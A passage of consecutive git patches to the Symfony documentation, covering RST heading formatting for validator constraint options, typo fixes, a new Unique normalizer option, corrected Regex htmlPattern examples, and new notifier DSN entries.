-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be positive.``
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index cc592f824c6..c2724c89753 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -84,8 +84,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either positive or zero.``
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index d07bc0445f4..5c148c78b0f 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -316,8 +316,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-invalidMessage
-~~~~~~~~~~~~~~
+``invalidMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
@@ -332,16 +332,16 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "max" value. Validation will fail if the given
 value is **greater** than this max value.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or less.``
 
@@ -358,8 +358,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-maxPropertyPath
-~~~~~~~~~~~~~~~
+``maxPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -380,16 +380,16 @@ with regard to the ``$deadline`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``number`` or ``string`` (date format)
 
 This required option is the "min" value. Validation will fail if the given
 value is **less** than this min value.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be {{ limit }} or more.``
 
@@ -406,8 +406,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-minPropertyPath
-~~~~~~~~~~~~~~~
+``minPropertyPath``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -428,8 +428,8 @@ with regard to the ``$startDate`` property of the same object, use
     include it in the error messages displayed to end users, it's useful when
     using APIs for doing any mapping logic on client-side.
 
-notInRangeMessage
-~~~~~~~~~~~~~~~~~
+``notInRangeMessage``
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be between {{ min }} and {{ max }}.``
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index d7e3c8f2ebd..02a5ea8f407 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -167,8 +167,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-htmlPattern
-~~~~~~~~~~~
+``htmlPattern``
+~~~~~~~~~~~~~~~
 
 **type**: ``string|boolean`` **default**: null
 
@@ -252,8 +252,8 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 Setting ``htmlPattern`` to false will disable client side validation.
 
-match
-~~~~~
+``match``
+~~~~~~~~~
 
 **type**: ``boolean`` default: ``true``
 
@@ -262,8 +262,8 @@ the given `pattern`_ regular expression. However, when this option is set
 to ``false``, the opposite will occur: validation will pass only if the
 given string does **not** match the `pattern`_ regular expression.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not valid.``
 
@@ -277,8 +277,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-pattern
-~~~~~~~
+``pattern``
+~~~~~~~~~~~
 
 **type**: ``string`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index c5f27e1cbfb..3725038f0d8 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -86,8 +86,8 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 Options
 -------
 
-countryCode
-~~~~~~~~~~~
+``countryCode``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -100,8 +100,8 @@ The value of this option must be a valid `ISO 3166-1 alpha-2`_ country code
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-intlCompatible
-~~~~~~~~~~~~~~
+``intlCompatible``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -114,8 +114,8 @@ timezones provided by PHP's Intl extension (because they use different ICU
 versions). If this option is set to ``true``, this constraint only considers
 valid the values compatible with the PHP ``\IntlTimeZone::createTimeZone()`` method.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid timezone.``
 
@@ -131,8 +131,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-zone
-~~~~
+``zone``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``\DateTimeZone::ALL``
 
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 307b7565749..17ee98fec78 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -155,8 +155,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be of type {{ type }}.``
 
@@ -175,8 +175,8 @@ Parameter        Description
 
 .. _reference-constraint-type-type:
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index e6acb08ea71..9d9cc0ffed2 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -94,8 +94,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain only unique elements.``
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index ca0a0be28c6..f96d6d91b47 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -140,8 +140,8 @@ the uniqueness. If it's left blank, the correct entity manager will be
 determined for this class. For that reason, this option should probably
 not need to be used.
 
-entityClass
-~~~~~~~~~~~
+``entityClass``
+~~~~~~~~~~~~~~~
 
 **type**: ``string``
 
@@ -151,8 +151,8 @@ inheritance mapping, you need to execute the query in a different repository.
 Use this option to define the fully-qualified class name (FQCN) of the Doctrine
 entity associated with the repository you want to use.
 
-errorPath
-~~~~~~~~~
+``errorPath``
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: The name of the first field in `fields`_
 
@@ -249,8 +249,8 @@ Consider this example:
 
 Now, the message would be bound to the ``port`` field with this configuration.
 
-fields
-~~~~~~
+``fields``
+~~~~~~~~~~
 
 **type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
 
@@ -266,8 +266,8 @@ each with a single field.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-ignoreNull
-~~~~~~~~~~
+``ignoreNull``
+~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
@@ -276,8 +276,8 @@ entities to have a ``null`` value for a field without failing validation.
 If set to ``false``, only one ``null`` value is allowed - if a second entity
 also has a ``null`` value, validation would fail.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is already used.``
 
@@ -300,8 +300,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-repositoryMethod
-~~~~~~~~~~~~~~~~
+``repositoryMethod``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``findBy``
 
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 4c9885d0147..ac230890a9a 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -81,8 +81,8 @@ Basic Usage
 Options
 -------
 
-checkDNS
-~~~~~~~~
+``checkDNS``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -163,8 +163,8 @@ option to the value of any of the ``CHECK_DNS_TYPE_*`` constants in the
 This option uses the :phpfunction:`checkdnsrr` PHP function to check the validity
 of the DNS record corresponding to the host associated with the given URL.
 
-dnsMessage
-~~~~~~~~~~
+``dnsMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The host could not be resolved.``
 
@@ -242,8 +242,8 @@ DNS check failed.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid URL.``
 
@@ -324,8 +324,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-protocols
-~~~~~~~~~
+``protocols``
+~~~~~~~~~~~~~
 
 **type**: ``array`` **default**: ``['http', 'https']``
 
@@ -399,8 +399,8 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
             }
         }
 
-relativeProtocol
-~~~~~~~~~~~~~~~~
+``relativeProtocol``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index 1cb992128ac..edd282fa53b 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -250,8 +250,8 @@ Options
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-traverse
-~~~~~~~~
+``traverse``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 
diff --git a/reference/constraints/_normalizer-option.rst.inc b/reference/constraints/_normalizer-option.rst.inc
index 784f915ff95..dcbba1c2da8 100644
--- a/reference/constraints/_normalizer-option.rst.inc
+++ b/reference/constraints/_normalizer-option.rst.inc
@@ -1,5 +1,5 @@
-normalizer
-~~~~~~~~~~
+``normalizer``
+~~~~~~~~~~~~~~
 
 **type**: a `PHP callable`_ **default**: ``null``
 

From c610653de3785f1e7578bf06c5b32cd234742147 Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Thu, 25 Mar 2021 11:14:31 +0000
Subject: [PATCH 0634/5766] Fix typo

---
 frontend/encore/versioning.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 0911f8d8cc3..ecea440ec75 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -7,7 +7,7 @@ Tired of deploying and having browser's cache the old version of your assets?
 By calling ``enableVersioning()``, each filename will now include a hash that
 changes whenever the *contents* of that file change (e.g. ``app.123abc.js``
 instead of ``app.js``). This allows you to use aggressive caching strategies
-(e.g. a far future ``Expires``) because, whenever a file change, its hash will change,
+(e.g. a far future ``Expires``) because, whenever a file changes, its hash will change,
 ignoring any existing cache:
 
 .. code-block:: diff

From 04b203118081c7714687031f3f5e9f70142a0b69 Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Thu, 25 Mar 2021 14:11:06 +0000
Subject: [PATCH 0635/5766] [CssSelector] Grammatical fix

---
 components/css_selector.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index c8100793ab4..be68d1801ed 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -25,8 +25,8 @@ Usage
     component in any PHP application. Read the :ref:`Symfony Functional Tests <functional-tests>`
     article to learn about how to use it when creating Symfony tests.
 
-Why to Use CSS selectors?
-~~~~~~~~~~~~~~~~~~~~~~~~~
+Why Use CSS selectors?
+~~~~~~~~~~~~~~~~~~~~~~
 
 When you're parsing an HTML or an XML document, by far the most powerful
 method is `XPath`_.

From 92072d936ca519203685c3eb1ace602adff68ad6 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Fri, 19 Mar 2021 09:03:37 +0200
Subject: [PATCH 0636/5766] [Validator] Add normalizer option to Unique
 constraint

---
 reference/constraints/Unique.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index eb7b4727491..f673d2d817b 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -2,8 +2,9 @@ Unique
 ======
 
 Validates that all the elements of the given collection are unique (none of them
-is present more than once). Elements are compared strictly, so ``'7'`` and ``7``
-are considered different elements (a string and an integer, respectively).
+is present more than once). By default elements are compared strictly,
+so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively).
+If you want any other comparison logic to be applied, use the `normalizer`_ option.
 
 .. seealso::
 
@@ -21,6 +22,7 @@ are considered different elements (a string and an integer, respectively).
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
             - `message`_
+            - `normalizer`_
             - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Unique`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\UniqueValidator`
@@ -123,4 +125,22 @@ Parameter                      Description
 ``{{ value }}``                The current (invalid) value
 =============================  ================================================
 
+``normalizer``
+~~~~~~~~~~~~~~
+
+**type**: a `PHP callable`_ **default**: ``null``
+
+.. versionadded:: 5.3
+
+    The ``normalizer`` option was introduced in Symfony 5.3.
+
+This option allows to define the PHP callable applied to each element of the given collection before
+checking if the collection is valid.
+
+For example, you may want to pass the ``'trim'`` string to apply the
+:phpfunction:`trim` PHP function to each element of the collection in order to ignore leading and trailing
+whitespace during validation.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`PHP callable`: https://www.php.net/callable

From 3862669e610854ea302c5859f8755f563741dedf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 27 Mar 2021 20:03:16 +0100
Subject: [PATCH 0637/5766] Minor tweaks

---
 reference/constraints/Unique.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 3be82ed5da5..6b6d363acf1 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -4,7 +4,7 @@ Unique
 Validates that all the elements of the given collection are unique (none of them
 is present more than once). By default elements are compared strictly,
 so ``'7'`` and ``7`` are considered different elements (a string and an integer, respectively).
-If you want any other comparison logic to be applied, use the `normalizer`_ option.
+If you want to apply any other comparison logic, use the `normalizer`_ option.
 
 .. seealso::
 
@@ -134,12 +134,12 @@ Parameter                      Description
 
     The ``normalizer`` option was introduced in Symfony 5.3.
 
-This option allows to define the PHP callable applied to each element of the given collection before
-checking if the collection is valid.
+This option defined the PHP callable applied to each element of the given
+collection before checking if the collection is valid.
 
-For example, you may want to pass the ``'trim'`` string to apply the
-:phpfunction:`trim` PHP function to each element of the collection in order to ignore leading and trailing
-whitespace during validation.
+For example, you can pass the ``'trim'`` string to apply the :phpfunction:`trim`
+PHP function to each element of the collection in order to ignore leading and
+trailing whitespace during validation.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 

From a6874e68d8710a01239b99e3499d3c127fed290a Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 28 Mar 2021 11:37:53 +0200
Subject: [PATCH 0638/5766] [Finder] Fix typo

---
 components/finder.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/finder.rst b/components/finder.rst
index f799208558e..6952685b64f 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -214,7 +214,7 @@ Use the forward slash (i.e. ``/``) as the directory separator on all platforms,
 including Windows. The component makes the necessary conversion internally.
 
 The ``path()`` method accepts a string, a regular expression or an array of
-strings or regulars expressions::
+strings or regular expressions::
 
     $finder->path('foo/bar');
     $finder->path('/^foo\/bar/');

From 337e25169c2a369e2a102144c3d5d11a02f3259b Mon Sep 17 00:00:00 2001
From: James Hemery <james@yieldstudio.fr>
Date: Sat, 23 Jan 2021 02:35:30 +0100
Subject: [PATCH 0639/5766] [Notifier] [FakeSms] Add the bridge

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 023361051c2..72afd815ac3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,6 +59,7 @@ Service     Package                           DSN
 AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
 Clickatell  ``symfony/clickatell-notifier``   ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
+FakeSms     ``symfony/fake-sms-notifier``     ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
@@ -84,9 +85,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell and SpotHit integrations
-    were introduced in Symfony 5.3.
-
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit and FakeSms
+    integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 687199ee2bb22b4decbec8e8c1f7f4b4730d9de3 Mon Sep 17 00:00:00 2001
From: Guillaume Sarramegna <13528732+sarramegnag@users.noreply.github.com>
Date: Tue, 30 Mar 2021 19:06:41 +0200
Subject: [PATCH 0640/5766] Standardize built-in normalizers lists

---
 components/serializer.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index f2c3285a33b..84c8ecb8a36 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -782,6 +782,9 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
+    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
+
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at

From 3f33c81da2b1d3330d353c86af52aba5789bb205 Mon Sep 17 00:00:00 2001
From: Guilliam Xavier <guilliamxavier@users.noreply.github.com>
Date: Wed, 31 Mar 2021 11:36:34 +0200
Subject: [PATCH 0641/5766] [Validator] Fix Regex htmlPattern examples

---
 reference/constraints/Regex.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 02a5ea8f407..c3b9a9bd5c6 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -175,12 +175,12 @@ Options
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
 will convert the pattern given in the `pattern`_ option into an HTML5 compatible
-pattern. This means that the delimiters are removed (e.g. ``/[a-z]+/`` becomes
-``[a-z]+``).
+pattern. Notably, the delimiters are removed and the anchors are implicit (e.g.
+``/^[a-z]+$/`` becomes ``[a-z]+``, and ``/[a-z]+/`` becomes ``.*[a-z]+.*``).
 
 However, there are some other incompatibilities between both patterns which
 cannot be fixed by the constraint. For instance, the HTML5 ``pattern`` attribute
-does not support flags. If you have a pattern like ``/[a-z]+/i``, you
+does not support flags. If you have a pattern like ``/^[a-z]+$/i``, you
 need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 .. configuration-block::
@@ -197,7 +197,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             /**
              * @Assert\Regex(
              *     pattern     = "/^[a-z]+$/i",
-             *     htmlPattern = "^[a-zA-Z]+$"
+             *     htmlPattern = "[a-zA-Z]+"
              * )
              */
             protected $name;
@@ -211,7 +211,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 name:
                     - Regex:
                         pattern: '/^[a-z]+$/i'
-                        htmlPattern: '^[a-zA-Z]+$'
+                        htmlPattern: '[a-zA-Z]+'
 
     .. code-block:: xml
 
@@ -225,7 +225,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
                 <property name="name">
                     <constraint name="Regex">
                         <option name="pattern">/^[a-z]+$/i</option>
-                        <option name="htmlPattern">^[a-zA-Z]+$</option>
+                        <option name="htmlPattern">[a-zA-Z]+</option>
                     </constraint>
                 </property>
             </class>
@@ -245,7 +245,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             {
                 $metadata->addPropertyConstraint('name', new Assert\Regex([
                     'pattern' => '/^[a-z]+$/i',
-                    'htmlPattern' => '^[a-zA-Z]+$',
+                    'htmlPattern' => '[a-zA-Z]+',
                 ]));
             }
         }

From ebddb78293a7901799d6aeba24d80f42301c13fa Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 31 Mar 2021 09:24:36 +0200
Subject: [PATCH 0642/5766] [Validator] Add warning about closure not being
 cachable

---
 reference/constraints/Callback.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 6985f3953e1..65a63235a73 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -251,6 +251,13 @@ constructor of the Callback constraint::
         }
     }
 
+.. warning::
+
+    Using a ``Closure`` together with annotation configuration will disable the
+    annotation cache for that class/property/methods because ``Closure``s cannot
+    be cached. For best performance, it is recommended to use a static callback
+    method.
+
 Options
 -------
 

From f57055d5e95f79ee49c604ed3bd273070f773e91 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 31 Mar 2021 13:17:07 +0200
Subject: [PATCH 0643/5766] Minor tweak

---
 reference/constraints/Callback.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 65a63235a73..c917bf93412 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -254,9 +254,8 @@ constructor of the Callback constraint::
 .. warning::
 
     Using a ``Closure`` together with annotation configuration will disable the
-    annotation cache for that class/property/methods because ``Closure``s cannot
-    be cached. For best performance, it is recommended to use a static callback
-    method.
+    annotation cache for that class/property/method because ``Closure`` cannot
+    be cached. For best performance, it's recommended to use a static callback method.
 
 Options
 -------

From bf9e574c1ad2a0507639eee8a6285bf5f1776b15 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 31 Mar 2021 18:18:21 +0200
Subject: [PATCH 0644/5766] Rewording Priority Parameter

Important part: Explaining how to do it in YAML and XML, to make clear that `priority` is not *limited* to annotations/attributes - but simply not necessary in YAML/XML :-)
Closes https://github.com/symfony/symfony-docs/issues/13367
---
 routing.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index bf971924311..97df5e57787 100644
--- a/routing.rst
+++ b/routing.rst
@@ -997,11 +997,10 @@ Priority Parameter
 
     The ``priority`` parameter was introduced in Symfony 5.1
 
-When defining a greedy pattern that matches many routes, this may be at the
-beginning of your routing collection and prevents any route defined after to be
-matched.
-A ``priority`` optional parameter is available in order to let you choose the
-order of your routes, and it is only available when using annotations.
+Symfony evaluates routes in the order they are defined. So a routing pattern
+that matches many routes might prevent subsequent routes to be matched. In YAML
+and XML you can control the order by moving the routes up or down inside the file.
+For annotations and attributes, there is an optional ``priority`` parameter:
 
 .. configuration-block::
 

From af96b342256b1683aed3fcd0c648bb05110dba5c Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Thu, 1 Apr 2021 16:27:39 +0200
Subject: [PATCH 0645/5766] Update doc for mercure 0.5

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 72afd815ac3..45507e1784a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -157,7 +157,7 @@ Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@defaul
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure     ``symfony/mercure-notifier``      ``mercure://PUBLISHER_SERVICE_ID?topic=TOPIC``
+Mercure     ``symfony/mercure-notifier``      ``mercure://HUB_ID?topic=TOPIC``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``

From 7eb064ca248c04d46d69dc168a62d0f84393c5c4 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <ogizanagi@users.noreply.github.com>
Date: Fri, 2 Apr 2021 14:56:31 +0200
Subject: [PATCH 0646/5766] [Lock] Remove tip about  the RetryTillSaveStore

---
 reference/configuration/framework.rst | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6458d77328a..d107cf804df 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3090,18 +3090,6 @@ name
 
 Name of the lock you want to create.
 
-.. tip::
-
-    If you want to use the `RetryTillSaveStore` for :ref:`non-blocking locks <lock-blocking-locks>`,
-    you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
-
-    .. code-block:: yaml
-
-        lock.invoice.retry_till_save.store:
-            class: Symfony\Component\Lock\Store\RetryTillSaveStore
-            decorates: lock.invoice.store
-            arguments: ['@.inner', 100, 50]
-
 mailer
 ~~~~~~
 

From 9e9796bd7a04c18269531e64dae8367bd00634ad Mon Sep 17 00:00:00 2001
From: Felipy Amorim <felipyamorim@gmail.com>
Date: Sun, 4 Apr 2021 21:41:28 -0300
Subject: [PATCH 0647/5766] remove namespace unused

---
 security/user_checkers.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index b215191e680..a1662298276 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -24,7 +24,6 @@ displayed to the user::
     namespace App\Security;
 
     use App\Entity\User as AppUser;
-    use App\Exception\AccountDeletedException;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;

From 3fe341f6c733e4d3c40d1dd44d802c5d300c8c80 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko | CREATION <vasilij@creation.lt>
Date: Thu, 1 Apr 2021 16:36:38 +0300
Subject: [PATCH 0648/5766] [Notifier] [LightSMS] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 72afd815ac3..e23c85aeefa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -64,6 +64,7 @@ FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@defa
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+LightSMS    ``symfony/lightsms-notifier``     ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -85,7 +86,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit and FakeSms
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSMS
     integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 018d50ba322d5e58990918b226f0363dd0fcf541 Mon Sep 17 00:00:00 2001
